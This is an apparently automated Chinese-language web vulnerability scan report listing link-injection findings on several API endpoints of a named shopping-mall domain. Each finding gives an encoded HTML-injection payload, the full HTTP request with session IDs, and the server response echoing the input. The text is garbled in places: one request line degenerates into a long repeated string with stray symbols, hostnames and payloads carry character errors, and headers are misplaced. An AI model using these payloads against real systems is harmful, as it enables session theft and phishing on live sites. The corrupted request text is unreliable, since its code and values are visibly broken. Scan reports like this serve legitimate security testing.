风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: 15 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF7420.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum=1&pageSize=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF7420.html%22%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
```

```
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:02 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF7420.html">"
```

变体-|2/4

差异: 参数 从以下位置进行控制: 15 至:

%22%27%3E%3CA+HREF%3D%22%2FWF_XSRF7423.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /order/selectCmsOrderList/0?
{\tt pageNum=1\&pageSize=\$22\$27\$3E\$3CA+HREF\$3D\$22\$2FWF\ XSRF7423.html\$22\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$2FA\$3EInjected+Link\$3C\$3CAPAFAEInjected+Link\$3C\$2FABAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link\$3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+Link§3CBAEInjected+L
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:02 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7423.html">Injected Link</A>"
```

变体-|3/4

差异: 参数 从以下位置进行控制: 15 至:

\\$22\\$27\\$3E\\$3CIMG+SRC\\$3D\\$22\\$2FWF_XSRF7595.html\\$22\\$3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum=1&pageSize=%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7595.html%22%3E&orderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF7595.html">"
```

变体-|4/4

差异:

参数 从以下位置进行控制: 15 至:

%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7596.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum = 1 \\ pageSize = \$22 \\ \$27 \\ \$3E \\ \$3CA + HREF \\ \$3D \\ \$22 \\ \$2FWF XSRF7596. html \\ \$22 \\ \$3EInjected + Link \\ \$3C \\ \$2FA \\ \$3E \\ \& order \\ Link \\ \$3C \\ \$2FA \\ \$3E \\ \& order \\ \#3D \\ \$3D \\ 
No=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7596.html">Injected Link</A>"
```

问题 **5** / **11** Toc

链接注入	(便于跨站请求伪造)
严重性:	(
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageNum (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: 1 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7367.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。

测试请求和响应:

```
/order/selectCmsOrderList/0? {\tt pageNum=\$22\$27\$3E\$3CIMG+SRC\$3D\$22\$2FWF\_XSRF7367.html\$22\$3E\&pageSize=1}
5 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: \star
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF_XSRF7367.html">"
```

变体- | 2 / 4

差异: 参数 从以下位置进行控制: ① 至:

%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7371.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
/order/selectCmsOrderList/0?pageNum=%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7371.html%22%3EInjected+Lin
k%3C%2FA%3E&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7371.html">Injected Link</A>"
```

变体-|3/4

差异: 参数 从以下位置进行控制: ① 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF7590.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET
/order/selectCmsOrderList/0?pageNum=%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7590.html%22%3E&pageSize=1
5&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

```
For input string: """><IMG SRC="/WF_XSRF7590.html">"
```

变体-|4/4

差异: 参数 从以下位置进行控制: ① 至:

%22%27%3E%3CA+HREF%3D%22%2FWF_XSRF7591.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
/order/selectCmsOrderList/0?pageNum=%22%27%3E%3CA+HREF%3D%22%2FWF_KSRF7591.html%22%3EInjected+Lin
k%3C%2FA%3E&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF_XSRF7591.html">Injected Link</A>"
```

问题 6 / 11 Toc

链接注入(便于跨站请求伪造)	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/pubRole/selectVipRoleList
实体:	goodslevelid (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: 3 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7699.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?qoodslevelid=%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7699.html%22%3E
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF7699.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: ③ 至:

Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS

Access-Control-Allow-Origin: * Connection: keep-alive

Date: Fri, 12 Jan 2018 03:21:17 GMT Content-Type: text/plain; charset=UTF-8

%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7701.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET
/pubRole/selectVipRoleList?goodslevelid=%22%27%3E%3CA+HREF%3D%22%2FWF_XSRF7701.html%22%3EInjected
+Link%3C%2FA%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
```

```
Transfer-Encoding: chunked

For input string: ""'><A HREF="/WF_XSRF7701.html">Injected Link</A>"
```

问题 **7 / 11** Toc

链接注入	(便于跨站请求伪造)
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodslevelid (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: — 至: (%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF7947.html%22%3E)

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
qoodsids=&qoodsname=&opcode=&qoodscode=&qsbmid=&approvaltypeid=&qoodslevelid=&22%27%3E%3CIMG+SRC%
3D%22%2FWF XSRF7947.html%22%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:45 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF7947.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: -至:

%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7949.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
 \verb|goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=&goodslevelid=&22&27&3E&3CA+HREF&33CA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+HREF&3ACA+H
 D%22%2FWF XSRF7949.html%22%3EInjected+Link%3C%2FA%3E HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/57.0.2987.133 Safari/537.36
 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
 Connection: keep-alive
 Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
 Upgrade-Insecure-Requests: 1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: en-US, en; q=0.8
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
 Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 Server: openresty
 Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
 Access-Control-Allow-Origin: *
 Connection: keep-alive
 Date: Fri, 12 Jan 2018 03:21:45 GMT
 Content-Type: text/plain; charset=UTF-8
 Transfer-Encoding: chunked
 For input string: ""'><A HREF="/WF XSRF7949.html">Injected Link</A>"
```

问题 **8 / 11** Toc

链接注入	(便于跨站请求伪造)
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	gsbmid (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: —至: %22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7878.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
\verb|goodsids=&goodsname=&pocode=&goodscode=&gsbmid=&22&27*3E*3CIMG+SRC*3D*22*2FWF XSRF7878.html &22*3E*3CIMG+SRC*3D*22*2FWF XSRF7878.html &22*3E*3D*22*2FWF XSRF78878.html &22*3E*2D*22*2FWF XSRF78878.html &22*2E*2D*22*2FWF XSRF78878.html &22*2E*2FWF XSRF78878.html &22*2E*2FW
&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:39 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF7878.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: -至:

%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7881.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=%22%2T%3E%3CA+HREF%3D%22%2FWF XSRF7881.html%22%3EI
njected+Link%3C%2FA%3E&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:39 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7881.html">Injected Link</A>"
```

问题 9 / 11 Toc

链接注入	(便于跨站请求伪造)
严重性:	#
CVSS 分数:	6.4
